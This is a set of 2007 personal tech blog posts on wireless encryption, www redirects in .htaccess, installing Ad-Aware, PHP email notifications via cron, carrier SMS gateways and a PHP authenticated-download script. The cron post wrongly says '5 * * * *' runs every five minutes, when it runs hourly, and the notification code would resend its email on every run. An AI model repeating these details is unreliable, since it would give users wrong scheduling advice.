Its traditional wired counter part can be secured physically by not allowing physical access to the router, literally blocking or shutting of certain wired areas of a building. Since the wire is usually stored within the walls of the building it is more difficult to splice into the wire and watch what’s happening on the network. Wireless on the other hand can be “listened to” from anyplace within range. Since we don’t want people seeing what we are doing so the only choice was to encrypt all wireless traffic. That way people that were listening would only be able to see what would look like junk or garbage text. The only problem with this is that the computer on the other end has to be able to read this “junk”.

Methods of making wireless more secure

To maintain the connection with the router the computer on the other end must have a key or know the “password” to the router. This is the worst part of wireless, as the computer on the end must remain in constant communication with the router. That means the computer must send its key or “password” many times to the router. This makes a hacker’s job much easier as his software is able to detect commonalities amongst the “junk” that is continuously flowing. On top of that he is able to constantly ask the router if his/her “key” is the proper key. On a wired network if such an event were to take place network administrators could easily have a program that would detect if someone kept trying random passwords for a set period of time. If they tried too many passwords too rapidly the program would turn that wire/port off. On a wireless network the only means of stopping someone from trying multiple passwords in a short period of time is to block their MAC address.

So what is a MAC address? You can think of a MAC address as a serial number for your network card. In other words no matter how many passwords you through out into the air the router will simply ignore you based on the MAC address. Unfortunately MAC addresses can easily be changed even though they were never really intended to be. What make it worse is that someone knowledgeable could very easily “sniff” or monitor the wireless signal and see your MAC address and spoof (fake) their own MAC address to correspond to the legitimate computer on the wireless network. As you can see the MAC address block is really not a very viable method from keeping people from trying to guess your wireless network password.

The solution

Amongst the different types of encryption available there are some that are better than others. Currently WPA2 is the best form of wireless encryption followed by WPA and then WEP is better than nothing but not by much. Since WEP can be compromised in a matter of minutes you should only use WEP if you do not care about your security and your only mission is to keep average people from using your Internet connection for free.

To have a “secure” wireless connection you should use WPA2 or WPA with a 64-character hexadecimal key (password). And no, you do not have to type in this 64-character key every time you connect to the router. You can generate a 64-character hexadecimal key here.

It should be noted that although these are the standard forms of wireless encryption you can set up a VPN tunneling server and have it authenticate users through a pre-shared user/password combo. This may be the best way to encrypt wireless data streams and used by most universities; however, it is not practical for home users.

For a guide on how to configure your router at home see, The Wireless Router Guide.

Summary

Wireless networks are very insecure
Your neighbors could see everything you are doing while connected to an unsecured network (Although it is fairly unlikely)
You should set up your wireless router with WPA encryption with the maximum size password which is 64 hexadecimal characters
If you don’t know how see this guide.

Sources: According to Wikipedia, WPA Personal is secure when used with ‘good’ passphrases or a full 64-character hexadecimal key.

Duplicate Content www vs. non-www Canonical Problems

2007-07-25T00:00:00Z

The typical a domain usually starts with http://www and a subdomain would usually only contain the http://.; however, recently search engines have been marking http://yourdomain.com as an entirely different site from http://www.yourdomain.com. Meaning they get an entirely different ranking in Google searches. This means you may not be getting the page rank you deserve. In addition many people will often type into their browsers, “google.com” instead of “http://www.google.com”. I can understand this as it is way easier to type in google.com; although I think aesthetically http://www.google.com looks better and is the way it was meant.

These are the standard formats used for URLs

http://subdomain.domain.com http://www.domain.com

Duplicate content

When a spider crawls the internet looking for webpages to index into its searches it often keeps track of many attributes about each site it visits. Google for instance has an algorithm to determine if your website is more relevant than the next. Its spiders check the website for over 100 different things including whether or not your page has duplicate content. Since some search engines index http://yourdomain.com separately from http://www.yourdomain.com it’s important to let the search engine and your visitors know which domain you prefer to use. If you don’t, search engines may think that your entire page is full of duplicate content and punish your website by giving it a lower rank in searches. In some cases your web host may not even recognize the www. in front of your domain and may cause an error. This can be seen here. http://business.umt.edu vs. http://www.business.umt.edu

How can we fix the problem?

If your webhost is running Apache and it supports htaccess you can simply write the following code into a .htaccess file and place it in your root directory. RewriteEngine On RewriteCond %{HTTP_HOST} !^www\.yourdomain\.com$ RewriteRule (.*) http://www.yourdomain.com/$1 [R=301,L]

Examples of 301 redirects from the big sites

Redirect from http:// to http://www. http://microsoft.com >> http://www.microsoft.com http://google.com >> http://www.google.com http://yahoo.com >> http://www.yahoo.com http://ebay.com >> http://www.ebay.com

Sites that do not redirect http://youtube.com http://amazon.com http://myspace.com http://digg.com (this one really surprises me, as digg is heavily engaged in technology)

Since these examples are all sites from the top 10 websites most visited in the United States they don’t need to be concerned to heavily in page rank from Google.

Redirect subdomains with www. mail.google.com sfbay.craigslist.org

Installing Ad-Aware

2007-07-22T00:00:00Z

Adware is a program that is used to find and remove adware and spyware. To install adware simply follow these steps.

Step 1

Double click the file to get the installation started. If you have not downloaded Ad-aware yet you can do so here. The icon should look similar to this.

Step 2

You should be then be followed by this screen. Just click Next.

Step 3

Then agree to the terms and click Next.

Step 4

Your name should be filled out. Click Next.

Step 5

Click standard installation then click Next.

Step 6

99% of the time the default install location is fine. Click Next.

Step 7

Sweet, its done installing. Click Next.

Step 8

Click Finish.

Step 9

Since Ad-aware wants to make some money, they are kind of tricking the users at this point. As you will notice if you try to select the free version in the drop down there is no option to do so. At this point all you need to do is click Cancel in order to use the free version of Ad-aware.

After that you should be greeted with the main screen for Ad-aware.

To use Ad-aware see my using Ad-aware guide.

Send email notifications with php

2007-07-17T00:00:00Z

In order to send an email notification on your site via php you will probably need some sort of scheduled task program. This will execute the php script routinely. Since I tend to use open source software I used cron. Cron is found in Unix and Unix-like operating systems and is used to schedule commands to be executed periodically. It reads a series of commands from standard input and collects them into a file known as a “crontab” which is later read and whose instructions are carried out.

An example of a cron entry in crontab that would execute every five minutes:

5 * * * * /usr/local/bin/php /home/myuser/mydomain.com/notifications.php This line also includes the program in which to open the php file.

For more information about using cron check out, Learning cron by Example.

Now that we have a program set up to execute our script we need to prepare our php file.

This line will tell cron which binary program to execute the script. In this case it is php.

#!/usr/local/bin/php -q

Note: This is not necessary if you include this in cron.

Here is the php code I came up with to get the job done.

function isExpired($expireDate,$emailAddress,$subject,$body) {
    $expireDate = strtotime($expireDate); // Must be in m/d/y format!
    $now = time(); // Get current date
    if ($expireDate < $now) {
        mail($emailAddress, $subject, $body);
    }
}

How to: Send a TXT Message Through Email

2007-07-17T00:00:00Z

Sending txt message through a computer can be incredibly useful. Google sends txt messages through their calendar service to remind users of important dates and appointments. They can send movie times, wheather reports, stock quotes, directions, notifications of new email, etc…

All you have to do to send a txt message in most cases is send a simple email message to the SMS gateway of their phone carrier. This is usually their 10 digit phone number followed by the SMS gateway domain name.

Below is a list of major cellphone companies’ in the Unitied States.

Verizon: 10digitphonenumber@vtext.com AT&T: 10digitphonenumber@mmode.com Sprint: 10digitphonenumber@messaging.sprintpcs.com T-Mobile: 10digitphonenumber@tmomail.net Nextel: 10digitphonenumber@messaging.nextel.com Cingular: 10digitphonenumber@cingularme.com Virgin Mobile: 10digitphonenumber@vmobl.com Alltel: 10digitphonenumber@alltelmessage.com CellularOne: 10digitphonenumber@mobile.celloneusa.com Omnipoint: 10digitphonenumber@omnipointpcs.com Qwest: 10digitphonenumber@qwestmp.com

If you are unsure which carrier to send the message you can try their 10digitphonenumber@teleflip.com

For an exhaustive list of carrier’s SMS gateways visit SMS Gateways

You can also send a txt message to google to find out all sorts of information. Here are some examples.

movies 90210 - Find movie listing for your town
stock AAPL - Get the current stock quote(delayed 15min)
directions pasadena ca to 94043 - Directions when you get lost
1 us pint in liters - Conversion calculator

This is the only codes that I usually use but there are many more. For a more complete list see Google SMS short codes.

Download files through authentication

2007-07-06T00:00:00Z

I recently needed to implement a way for authenticated users to download files. Normally to host a file for download on a site you would need to provide the url to the download. www.yourdomain.com/restrictedfile.pdf.

You could then authenticate the user and only provide the link if the user was authenticated; however, there is nothing preventing users from simply typing the url into the browser and downloading the sensitive information.

This is why i created a script with php to fetch the file only when the user session is active. The restricted files are on the webserver but stored in an a directory that Apache has no access to.

$file = $_GET['file'];
$download_folder = '../RestrictedFiles';

$file = basename($file);
$filepath = "$download_folder/$file";

if (file_exists($filepath)) {

    //.... check to see if user is logged in ...
    // connect to database

    // include auth and nav

    // close mysql connection

    header("Content-type: application/octet-stream");
    header("Content-Disposition: attachment; filename=$file");
    session_write_close();
    readfile($filepath);

} else {
    echo 'The file you are trying to download is not found.  If you think this is an error 
                 please <a href="/contact/">contact</a> us.';
}

To see an example in ASP see: ASP Example